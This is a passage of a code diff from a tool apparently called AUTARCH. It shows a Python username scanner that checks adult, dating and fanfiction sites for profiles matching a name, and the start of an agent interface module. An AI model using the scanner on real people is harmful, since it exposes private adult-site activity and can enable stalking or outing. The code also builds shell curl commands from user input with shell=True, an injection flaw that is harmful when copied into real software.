success, output, _ = self.run_cmd(cmd, 7)
|
|
||||||
|
|
||||||
if success:
|
|
||||||
status_code = output.strip()
|
|
||||||
if status_code in ['200', '301', '302']:
|
|
||||||
working_patterns.append((pattern, status_code, url))
|
|
||||||
|
|
||||||
print(f"\r{' ' * 80}\r", end="") # Clear line
|
|
||||||
|
|
||||||
if not working_patterns:
|
|
||||||
print(f"{Colors.YELLOW}No working patterns found.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}The site may use a non-standard URL format.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Try using manual add [A] with the correct URL pattern.{Colors.RESET}")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Display working patterns
|
|
||||||
print(f"{Colors.GREEN}Found {len(working_patterns)} working pattern(s):{Colors.RESET}\n")
|
|
||||||
for i, (pattern, status, url) in enumerate(working_patterns, 1):
|
|
||||||
status_info = "OK" if status == '200' else f"redirect ({status})"
|
|
||||||
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {pattern:20} {Colors.DIM}({status_info}){Colors.RESET}")
|
|
||||||
print(f" {Colors.DIM}{url}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Let user select
|
|
||||||
print(f" {Colors.DIM}[0]{Colors.RESET} Cancel")
|
|
||||||
print()
|
|
||||||
|
|
||||||
choice = input(f"{Colors.WHITE}Select pattern to add: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
try:
|
|
||||||
idx = int(choice) - 1
|
|
||||||
if 0 <= idx < len(working_patterns):
|
|
||||||
selected_pattern, status, _ = working_patterns[idx]
|
|
||||||
url_template = f"https://{domain}{selected_pattern}"
|
|
||||||
|
|
||||||
# Get site name
|
|
||||||
default_name = domain.split('.')[0].title()
|
|
||||||
name = input(f"{Colors.WHITE}Site name [{default_name}]: {Colors.RESET}").strip() or default_name
|
|
||||||
|
|
||||||
# Determine method based on status
|
|
||||||
method = 'status' if status == '200' else 'content'
|
|
||||||
|
|
||||||
# Add to custom sites
|
|
||||||
new_site = (name, url_template, method)
|
|
||||||
self.sites['custom'].append(new_site)
|
|
||||||
|
|
||||||
if self.save_custom_sites():
|
|
||||||
self.print_status(f"Added '{name}' to custom sites", "success")
|
|
||||||
print(f"{Colors.DIM} Pattern: {url_template.replace('{}', '*')}{Colors.RESET}")
|
|
||||||
else:
|
|
||||||
self.print_status("Failed to save custom sites", "error")
|
|
||||||
elif choice != "0":
|
|
||||||
self.print_status("Cancelled", "warning")
|
|
||||||
except ValueError:
|
|
||||||
if choice != "0":
|
|
||||||
self.print_status("Invalid selection", "error")
|
|
||||||
|
|
||||||
def probe_domain(self, domain: str, test_user: str, quiet: bool = False) -> list:
|
|
||||||
"""Probe a domain for working URL patterns. Returns list of (pattern, status_code, url)."""
|
|
||||||
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
|
|
||||||
working_patterns = []
|
|
||||||
|
|
||||||
for i, pattern in enumerate(COMMON_PATTERNS):
|
|
||||||
url = f"https://{domain}{pattern}".format(test_user)
|
|
||||||
if not quiet:
|
|
||||||
print(f"\r{Colors.DIM} Testing {domain}: pattern {i+1}/{len(COMMON_PATTERNS)}{' ' * 20}{Colors.RESET}", end="")
|
|
||||||
|
|
||||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
|
|
||||||
success, output, _ = self.run_cmd(cmd, 7)
|
|
||||||
|
|
||||||
if success:
|
|
||||||
status_code = output.strip()
|
|
||||||
if status_code in ['200', '301', '302']:
|
|
||||||
working_patterns.append((pattern, status_code, url))
|
|
||||||
# For bulk mode, take first working pattern and stop
|
|
||||||
if quiet:
|
|
||||||
break
|
|
||||||
|
|
||||||
if not quiet:
|
|
||||||
print(f"\r{' ' * 80}\r", end="")
|
|
||||||
|
|
||||||
return working_patterns
|
|
||||||
|
|
||||||
def bulk_import(self):
|
|
||||||
"""Bulk import sites from custom_sites.inf file."""
|
|
||||||
print(f"\n{Colors.BOLD}Bulk Import Sites{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Check if file exists, create template if not
|
|
||||||
if not BULK_IMPORT_FILE.exists():
|
|
||||||
print(f"{Colors.YELLOW}Bulk import file not found.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Creating template at: {BULK_IMPORT_FILE}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
create = input(f"{Colors.WHITE}Create template file? (y/n): {Colors.RESET}").strip().lower()
|
|
||||||
if create == 'y':
|
|
||||||
template = """# AUTARCH Adult Site Scanner - Bulk Import File
|
|
||||||
# Add one domain per line (without http:// or https://)
|
|
||||||
# Lines starting with # are comments
|
|
||||||
#
|
|
||||||
# Example:
|
|
||||||
# example.com
|
|
||||||
# another-site.net
|
|
||||||
# subdomain.site.org
|
|
||||||
#
|
|
||||||
# After adding domains, run Bulk Import [B] again
|
|
||||||
# and provide a test username that exists on these sites.
|
|
||||||
|
|
||||||
"""
|
|
||||||
with open(BULK_IMPORT_FILE, 'w') as f:
|
|
||||||
f.write(template)
|
|
||||||
self.print_status(f"Created {BULK_IMPORT_FILE}", "success")
|
|
||||||
print(f"{Colors.DIM}Edit this file and add domains, then run Bulk Import again.{Colors.RESET}")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Read domains from file
|
|
||||||
domains = []
|
|
||||||
with open(BULK_IMPORT_FILE, 'r') as f:
|
|
||||||
for line in f:
|
|
||||||
line = line.strip()
|
|
||||||
# Skip empty lines and comments
|
|
||||||
if line and not line.startswith('#'):
|
|
||||||
# Clean up domain
|
|
||||||
domain = line.replace('https://', '').replace('http://', '').rstrip('/')
|
|
||||||
if domain:
|
|
||||||
domains.append(domain)
|
|
||||||
|
|
||||||
if not domains:
|
|
||||||
print(f"{Colors.YELLOW}No domains found in {BULK_IMPORT_FILE.name}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Add domains (one per line) and try again.{Colors.RESET}")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"{Colors.CYAN}Found {len(domains)} domain(s) in {BULK_IMPORT_FILE.name}:{Colors.RESET}")
|
|
||||||
for d in domains[:10]:
|
|
||||||
print(f" {Colors.DIM}-{Colors.RESET} {d}")
|
|
||||||
if len(domains) > 10:
|
|
||||||
print(f" {Colors.DIM}... and {len(domains) - 10} more{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Check which domains are already added
|
|
||||||
existing_domains = set()
|
|
||||||
for name, url, method in self.sites.get('custom', []):
|
|
||||||
# Extract domain from URL template
|
|
||||||
try:
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
parsed = urlparse(url.replace('{}', 'test'))
|
|
||||||
existing_domains.add(parsed.netloc.lower())
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
new_domains = [d for d in domains if d.lower() not in existing_domains]
|
|
||||||
skipped = len(domains) - len(new_domains)
|
|
||||||
|
|
||||||
if skipped > 0:
|
|
||||||
print(f"{Colors.YELLOW}Skipping {skipped} already-added domain(s){Colors.RESET}")
|
|
||||||
|
|
||||||
if not new_domains:
|
|
||||||
print(f"{Colors.GREEN}All domains already added!{Colors.RESET}")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"{Colors.CYAN}Will scan {len(new_domains)} new domain(s){Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Get test username
|
|
||||||
print(f"{Colors.CYAN}We need a test username to probe URL patterns.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Use a common username that likely exists on most sites.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Example: admin, test, user, john, etc.{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
|
|
||||||
if not test_user:
|
|
||||||
self.print_status("Cancelled - no test username provided", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Scanning {len(new_domains)} domains...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# Scan each domain
|
|
||||||
added = 0
|
|
||||||
failed = []
|
|
||||||
|
|
||||||
for i, domain in enumerate(new_domains):
|
|
||||||
print(f"{Colors.DIM}[{i+1}/{len(new_domains)}] Scanning {domain}...{Colors.RESET}")
|
|
||||||
|
|
||||||
# Use quiet mode to get first working pattern
|
|
||||||
patterns = self.probe_domain(domain, test_user, quiet=True)
|
|
||||||
|
|
||||||
if patterns:
|
|
||||||
pattern, status, url = patterns[0]
|
|
||||||
url_template = f"https://{domain}{pattern}"
|
|
||||||
name = domain.split('.')[0].title()
|
|
||||||
method = 'status' if status == '200' else 'content'
|
|
||||||
|
|
||||||
# Add to custom sites
|
|
||||||
new_site = (name, url_template, method)
|
|
||||||
self.sites['custom'].append(new_site)
|
|
||||||
added += 1
|
|
||||||
print(f" {Colors.GREEN}[+]{Colors.RESET} Added {name}: {pattern}")
|
|
||||||
else:
|
|
||||||
failed.append(domain)
|
|
||||||
print(f" {Colors.RED}[X]{Colors.RESET} No pattern found")
|
|
||||||
|
|
||||||
# Save results
|
|
||||||
if added > 0:
|
|
||||||
if self.save_custom_sites():
|
|
||||||
print(f"\n{Colors.GREEN}Successfully added {added} site(s){Colors.RESET}")
|
|
||||||
else:
|
|
||||||
print(f"\n{Colors.RED}Failed to save custom sites{Colors.RESET}")
|
|
||||||
|
|
||||||
if failed:
|
|
||||||
print(f"\n{Colors.YELLOW}Failed to detect patterns for {len(failed)} domain(s):{Colors.RESET}")
|
|
||||||
for d in failed[:5]:
|
|
||||||
print(f" {Colors.DIM}-{Colors.RESET} {d}")
|
|
||||||
if len(failed) > 5:
|
|
||||||
print(f" {Colors.DIM}... and {len(failed) - 5} more{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Try adding these manually with [A] or [D]{Colors.RESET}")
|
|
||||||
|
|
||||||
# Offer to clear the import file
|
|
||||||
print()
|
|
||||||
clear_file = input(f"{Colors.WHITE}Clear import file? (y/n): {Colors.RESET}").strip().lower()
|
|
||||||
if clear_file == 'y':
|
|
||||||
# Keep the header comments
|
|
||||||
header = """# AUTARCH Adult Site Scanner - Bulk Import File
|
|
||||||
# Add one domain per line (without http:// or https://)
|
|
||||||
# Lines starting with # are comments
|
|
||||||
|
|
||||||
"""
|
|
||||||
with open(BULK_IMPORT_FILE, 'w') as f:
|
|
||||||
f.write(header)
|
|
||||||
self.print_status("Import file cleared", "success")
|
|
||||||
|
|
||||||
def print_status(self, message: str, status: str = "info"):
|
|
||||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
|
||||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
|
||||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
||||||
|
|
||||||
def run_cmd(self, cmd: str, timeout: int = 10) -> tuple:
|
|
||||||
try:
|
|
||||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
|
||||||
return result.returncode == 0, result.stdout.strip(), result.stderr.strip()
|
|
||||||
except subprocess.TimeoutExpired:
|
|
||||||
return False, "", "timeout"
|
|
||||||
except Exception as e:
|
|
||||||
return False, "", str(e)
|
|
||||||
|
|
||||||
def check_site(self, site_info: tuple, username: str) -> dict:
|
|
||||||
"""Check if username exists on a site."""
|
|
||||||
name, url_template, method = site_info
|
|
||||||
|
|
||||||
# Handle special URL formats
|
|
||||||
if '{}' in url_template:
|
|
||||||
url = url_template.format(username)
|
|
||||||
else:
|
|
||||||
url = url_template + username
|
|
||||||
|
|
||||||
result = {
|
|
||||||
'site': name,
|
|
||||||
'url': url,
|
|
||||||
'found': False,
|
|
||||||
'status': 'unknown'
|
|
||||||
}
|
|
||||||
|
|
||||||
# Use curl to check
|
|
||||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time {self.timeout} '{url}' 2>/dev/null"
|
|
||||||
success, output, _ = self.run_cmd(cmd, self.timeout + 2)
|
|
||||||
|
|
||||||
if success:
|
|
||||||
status_code = output.strip()
|
|
||||||
if method == 'status':
|
|
||||||
# Check HTTP status code
|
|
||||||
if status_code == '200':
|
|
||||||
result['found'] = True
|
|
||||||
result['status'] = 'found'
|
|
||||||
elif status_code in ['301', '302']:
|
|
||||||
result['found'] = True
|
|
||||||
result['status'] = 'redirect'
|
|
||||||
elif status_code == '404':
|
|
||||||
result['status'] = 'not_found'
|
|
||||||
else:
|
|
||||||
result['status'] = f'http_{status_code}'
|
|
||||||
else:
|
|
||||||
# For content-based checks, we need to fetch the page
|
|
||||||
if status_code == '200':
|
|
||||||
# Could do content analysis here
|
|
||||||
result['found'] = True
|
|
||||||
result['status'] = 'possible'
|
|
||||||
elif status_code == '404':
|
|
||||||
result['status'] = 'not_found'
|
|
||||||
else:
|
|
||||||
result['status'] = f'http_{status_code}'
|
|
||||||
else:
|
|
||||||
result['status'] = 'error'
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
def scan_username(self, username: str, categories: list = None):
|
|
||||||
"""Scan username across selected site categories."""
|
|
||||||
if categories is None:
|
|
||||||
categories = list(self.sites.keys())
|
|
||||||
|
|
||||||
# Collect all sites to scan
|
|
||||||
sites_to_scan = []
|
|
||||||
for cat in categories:
|
|
||||||
if cat in self.sites:
|
|
||||||
sites_to_scan.extend(self.sites[cat])
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Scanning {len(sites_to_scan)} sites for username: {username}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
self.results = []
|
|
||||||
found_count = 0
|
|
||||||
|
|
||||||
# Use thread pool for parallel scanning
|
|
||||||
with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
|
|
||||||
futures = {executor.submit(self.check_site, site, username): site for site in sites_to_scan}
|
|
||||||
|
|
||||||
for i, future in enumerate(as_completed(futures)):
|
|
||||||
result = future.result()
|
|
||||||
self.results.append(result)
|
|
||||||
|
|
||||||
# Display progress
|
|
||||||
if result['found']:
|
|
||||||
found_count += 1
|
|
||||||
status_color = Colors.GREEN if result['status'] == 'found' else Colors.YELLOW
|
|
||||||
print(f" {status_color}[+]{Colors.RESET} {result['site']:25} {result['url']}")
|
|
||||||
else:
|
|
||||||
# Show progress indicator
|
|
||||||
print(f"\r{Colors.DIM} Checked {i+1}/{len(sites_to_scan)} sites, found {found_count}...{Colors.RESET}", end="")
|
|
||||||
|
|
||||||
print(f"\r{' ' * 60}\r", end="") # Clear progress line
|
|
||||||
return self.results
|
|
||||||
|
|
||||||
def display_results(self):
|
|
||||||
"""Display scan results."""
|
|
||||||
found = [r for r in self.results if r['found']]
|
|
||||||
not_found = [r for r in self.results if not r['found']]
|
|
||||||
|
|
||||||
print(f"\n{Colors.BOLD}{'─' * 60}{Colors.RESET}")
|
|
||||||
print(f"{Colors.BOLD}Scan Results{Colors.RESET}")
|
|
||||||
print(f"{Colors.BOLD}{'─' * 60}{Colors.RESET}\n")
|
|
||||||
|
|
||||||
if found:
|
|
||||||
print(f"{Colors.GREEN}Found ({len(found)} sites):{Colors.RESET}\n")
|
|
||||||
for r in found:
|
|
||||||
status_note = f" ({r['status']})" if r['status'] not in ['found'] else ""
|
|
||||||
print(f" {Colors.GREEN}+{Colors.RESET} {r['site']:25} {r['url']}{Colors.DIM}{status_note}{Colors.RESET}")
|
|
||||||
else:
|
|
||||||
print(f"{Colors.YELLOW}No profiles found.{Colors.RESET}")
|
|
||||||
|
|
||||||
print(f"\n{Colors.DIM}Total sites checked: {len(self.results)}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Profiles found: {len(found)}{Colors.RESET}")
|
|
||||||
|
|
||||||
def export_results(self, filename: str):
|
|
||||||
"""Export results to file."""
|
|
||||||
found = [r for r in self.results if r['found']]
|
|
||||||
|
|
||||||
with open(filename, 'w') as f:
|
|
||||||
f.write(f"Username OSINT Results\n")
|
|
||||||
f.write(f"{'=' * 50}\n\n")
|
|
||||||
f.write(f"Found Profiles ({len(found)}):\n\n")
|
|
||||||
for r in found:
|
|
||||||
f.write(f"{r['site']}: {r['url']}\n")
|
|
||||||
|
|
||||||
self.print_status(f"Results exported to {filename}", "success")
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
"""Display main menu."""
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.GREEN}{Colors.BOLD} Adult Site Scanner{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM} Username OSINT for adult platforms{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Show category counts
|
|
||||||
total = sum(len(sites) for sites in self.sites.values())
|
|
||||||
custom_count = len(self.sites.get('custom', []))
|
|
||||||
print(f"{Colors.DIM} Sites in database: {total} ({custom_count} custom){Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
print(f" {Colors.CYAN}Scan Categories:{Colors.RESET}")
|
|
||||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Full Scan (all categories)")
|
|
||||||
print(f" {Colors.GREEN}[2]{Colors.RESET} Fanfiction & Story Sites")
|
|
||||||
print(f" {Colors.GREEN}[3]{Colors.RESET} Art & Creative Sites")
|
|
||||||
print(f" {Colors.GREEN}[4]{Colors.RESET} Video & Streaming Sites")
|
|
||||||
print(f" {Colors.GREEN}[5]{Colors.RESET} Forums & Communities")
|
|
||||||
print(f" {Colors.GREEN}[6]{Colors.RESET} Dating & Social Sites")
|
|
||||||
print(f" {Colors.GREEN}[7]{Colors.RESET} Gaming Related Sites")
|
|
||||||
print(f" {Colors.GREEN}[8]{Colors.RESET} Custom Sites Only")
|
|
||||||
print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Category Selection")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.CYAN}Site Management:{Colors.RESET}")
|
|
||||||
print(f" {Colors.GREEN}[A]{Colors.RESET} Add Custom Site (manual)")
|
|
||||||
print(f" {Colors.GREEN}[D]{Colors.RESET} Auto-Detect Site Pattern")
|
|
||||||
print(f" {Colors.GREEN}[B]{Colors.RESET} Bulk Import from File")
|
|
||||||
print(f" {Colors.GREEN}[M]{Colors.RESET} Manage Custom Sites")
|
|
||||||
print(f" {Colors.GREEN}[L]{Colors.RESET} List All Sites")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def select_categories(self) -> list:
|
|
||||||
"""Let user select multiple categories."""
|
|
||||||
print(f"\n{Colors.BOLD}Select Categories (comma-separated):{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
cat_list = list(self.sites.keys())
|
|
||||||
for i, cat in enumerate(cat_list, 1):
|
|
||||||
count = len(self.sites[cat])
|
|
||||||
print(f" [{i}] {cat.title():20} ({count} sites)")
|
|
||||||
|
|
||||||
print()
|
|
||||||
selection = input(f"{Colors.WHITE}Enter numbers (e.g., 1,2,3): {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
selected = []
|
|
||||||
try:
|
|
||||||
for num in selection.split(','):
|
|
||||||
idx = int(num.strip()) - 1
|
|
||||||
if 0 <= idx < len(cat_list):
|
|
||||||
selected.append(cat_list[idx])
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
return selected if selected else None
|
|
||||||
|
|
||||||
def list_sites(self):
|
|
||||||
"""List all sites in database."""
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.BOLD}Site Database{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n")
|
|
||||||
|
|
||||||
for category, sites in self.sites.items():
|
|
||||||
if not sites:
|
|
||||||
continue
|
|
||||||
color = Colors.YELLOW if category == 'custom' else Colors.GREEN
|
|
||||||
print(f"{color}{category.upper()} ({len(sites)} sites){Colors.RESET}")
|
|
||||||
for name, url, method in sites:
|
|
||||||
if category == 'custom':
|
|
||||||
display_url = url.replace('{}', '*')
|
|
||||||
print(f" {Colors.DIM}-{Colors.RESET} {name} {Colors.DIM}({display_url}){Colors.RESET}")
|
|
||||||
else:
|
|
||||||
print(f" {Colors.DIM}-{Colors.RESET} {name}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
|
|
||||||
def run_scan(self, categories: list = None):
|
|
||||||
"""Run a scan with given categories."""
|
|
||||||
username = input(f"\n{Colors.WHITE}Enter username to search: {Colors.RESET}").strip()
|
|
||||||
if not username:
|
|
||||||
return
|
|
||||||
|
|
||||||
self.scan_username(username, categories)
|
|
||||||
self.display_results()
|
|
||||||
|
|
||||||
# Export option
|
|
||||||
export = input(f"\n{Colors.WHITE}Export results to file? (y/n): {Colors.RESET}").strip().lower()
|
|
||||||
if export == 'y':
|
|
||||||
filename = f"{username}_adultscan.txt"
|
|
||||||
self.export_results(filename)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
"""Main loop."""
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper()
|
|
||||||
|
|
||||||
if choice == "0":
|
|
||||||
break
|
|
||||||
elif choice == "1":
|
|
||||||
self.run_scan() # All categories
|
|
||||||
elif choice == "2":
|
|
||||||
self.run_scan(['fanfiction'])
|
|
||||||
elif choice == "3":
|
|
||||||
self.run_scan(['art'])
|
|
||||||
elif choice == "4":
|
|
||||||
self.run_scan(['video'])
|
|
||||||
elif choice == "5":
|
|
||||||
self.run_scan(['forums'])
|
|
||||||
elif choice == "6":
|
|
||||||
self.run_scan(['dating'])
|
|
||||||
elif choice == "7":
|
|
||||||
self.run_scan(['gaming'])
|
|
||||||
elif choice == "8":
|
|
||||||
if self.sites.get('custom'):
|
|
||||||
self.run_scan(['custom'])
|
|
||||||
else:
|
|
||||||
self.print_status("No custom sites added yet. Use [A] to add sites.", "warning")
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
continue
|
|
||||||
elif choice == "9":
|
|
||||||
cats = self.select_categories()
|
|
||||||
if cats:
|
|
||||||
self.run_scan(cats)
|
|
||||||
elif choice == "A":
|
|
||||||
self.add_custom_site()
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
continue
|
|
||||||
elif choice == "D":
|
|
||||||
self.auto_detect_site()
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
continue
|
|
||||||
elif choice == "B":
|
|
||||||
self.bulk_import()
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
continue
|
|
||||||
elif choice == "M":
|
|
||||||
self.manage_custom_sites()
|
|
||||||
continue
|
|
||||||
elif choice == "L":
|
|
||||||
self.list_sites()
|
|
||||||
continue
|
|
||||||
|
|
||||||
if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9"]:
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
AdultScanner().run()
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
run()
|
|
||||||
@@ -1,181 +0,0 @@
|
|||||||
"""
|
|
||||||
AUTARCH Agent Module
|
|
||||||
Interactive interface for running autonomous agent tasks
|
|
||||||
|
|
||||||
This module provides an interface to give tasks to the autonomous agent
|
|
||||||
and watch it work through them step by step.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
# Module metadata
|
|
||||||
DESCRIPTION = "Autonomous agent for task execution"
|
|
||||||
AUTHOR = "darkHal"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "core"
|
|
||||||
|
|
||||||
# Add parent directory to path
|
|
||||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
||||||
|
|
||||||
from core.agent import Agent, AgentState, AgentStep, AgentResult
|
|
||||||
from core.tools import get_tool_registry
|
|
||||||
from core.llm import get_llm, LLMError
|
|
||||||
from core.banner import Colors, clear_screen, display_banner
|
|
||||||
|
|
||||||
|
|
||||||
class AgentInterface:
|
|
||||||
"""Interactive interface for the AUTARCH agent."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.agent = None
|
|
||||||
self.llm = get_llm()
|
|
||||||
self.tools = get_tool_registry()
|
|
||||||
|
|
||||||
def print_status(self, message: str, status: str = "info"):
|
|
||||||
"""Print a status message."""
|
|
||||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
|
||||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
|
||||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
||||||
|
|
||||||
def print_header(self, text: str):
|
|
||||||
"""Print a section header."""
|
|
||||||
print(f"\n{Colors.BOLD}{Colors.WHITE}{text}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
|
|
||||||
def show_tools(self):
|
|
||||||
"""Display available tools."""
|
|
||||||
self.print_header("Available Tools")
|
|
||||||
|
|
||||||
tools = self.tools.list_tools()
|
|
||||||
for tool in tools:
|
|
||||||
print(f"\n {Colors.CYAN}{tool.name}{Colors.RESET} [{tool.category}]")
|
|
||||||
print(f" {Colors.DIM}{tool.description}{Colors.RESET}")
|
|
||||||
if tool.parameters:
|
|
||||||
for param in tool.parameters:
|
|
||||||
req = "*" if param.required else ""
|
|
||||||
print(f" - {param.name}{req}: {param.description}")
|
|
||||||
|
|
||||||
def on_step_callback(self, step: AgentStep):
|
|
||||||
"""Callback for when agent completes a step."""
|
|
||||||
print(f"\n{Colors.DIM}{'─' * 40}{Colors.RESET}")
|
|
||||||
|
|
||||||
def on_state_callback(self, state: AgentState):
|
|
||||||
"""Callback for agent state changes."""
|
|
||||||
state_colors = {
|
|
||||||
AgentState.IDLE: Colors.WHITE,
|
|
||||||
AgentState.THINKING: Colors.MAGENTA,
|
|
||||||
AgentState.EXECUTING: Colors.BLUE,
|
|
||||||
AgentState.WAITING_USER: Colors.YELLOW,
|
|
||||||
AgentState.COMPLETE: Colors.GREEN,
|
|
||||||
AgentState.ERROR: Colors.RED,
|
|
||||||
}
|
|
||||||
color = state_colors.get(state, Colors.WHITE)
|
|
||||||
# Only show state for key transitions
|
|
||||||
if state in [AgentState.COMPLETE, AgentState.ERROR]:
|
|
||||||
print(f"{color}[State: {state.value}]{Colors.RESET}")
|
|
||||||
|
|
||||||
def run_task(self, task: str) -> AgentResult:
|
|
||||||
"""Run a task through the agent.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
task: Task description.
|
|
||||||
|
|
||||||
Returns:
|
|
||||||
AgentResult with execution details.
|
|
||||||
"""
|
|
||||||
self.agent = Agent(
|
|
||||||
llm=self.llm,
|
|
||||||
tools=self.tools,
|
|
||||||
max_steps=20,
|
|
||||||
verbose=True
|
|
||||||
)
|
|
||||||
|
|
||||||
self.agent.on_step = self.on_step_callback
|
|
||||||
self.agent.on_state_change = self.on_state_callback
|
|
||||||
|
|
||||||
return self.agent.run(task)
|
|
||||||
|
|
||||||
def interactive_loop(self):
|
|
||||||
"""Run interactive task input loop."""
|
|
||||||
self.print_header("Agent Interface")
|
|
||||||
print(f"\n{Colors.WHITE}Enter a task for the agent to complete.")
|
|
||||||
print(f"Type 'tools' to see available tools.")
|
|
||||||
print(f"Type 'exit' to return to main menu.{Colors.RESET}\n")
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
task = input(f"\n{Colors.GREEN}Task:{Colors.RESET} ").strip()
|
|
||||||
|
|
||||||
if not task:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if task.lower() == 'exit':
|
|
||||||
break
|
|
||||||
|
|
||||||
if task.lower() == 'tools':
|
|
||||||
self.show_tools()
|
|
||||||
continue
|
|
||||||
|
|
||||||
if task.lower() == 'help':
|
|
||||||
print(f"\n{Colors.WHITE}Commands:{Colors.RESET}")
|
|
||||||
print(f" {Colors.CYAN}tools{Colors.RESET} - Show available tools")
|
|
||||||
print(f" {Colors.CYAN}exit{Colors.RESET} - Return to main menu")
|
|
||||||
print(f" {Colors.CYAN}help{Colors.RESET} - Show this help")
|
|
||||||
print(f"\n{Colors.WHITE}Or enter a task description for the agent.{Colors.RESET}")
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Run the task
|
|
||||||
print(f"\n{Colors.CYAN}[*] Starting agent...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
result = self.run_task(task)
|
|
||||||
|
|
||||||
# Show result summary
|
|
||||||
print(f"\n{Colors.DIM}{'═' * 50}{Colors.RESET}")
|
|
||||||
if result.success:
|
|
||||||
print(f"{Colors.GREEN}[+] Task completed successfully{Colors.RESET}")
|
|
||||||
print(f"\n{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
|
|
||||||
else:
|
|
||||||
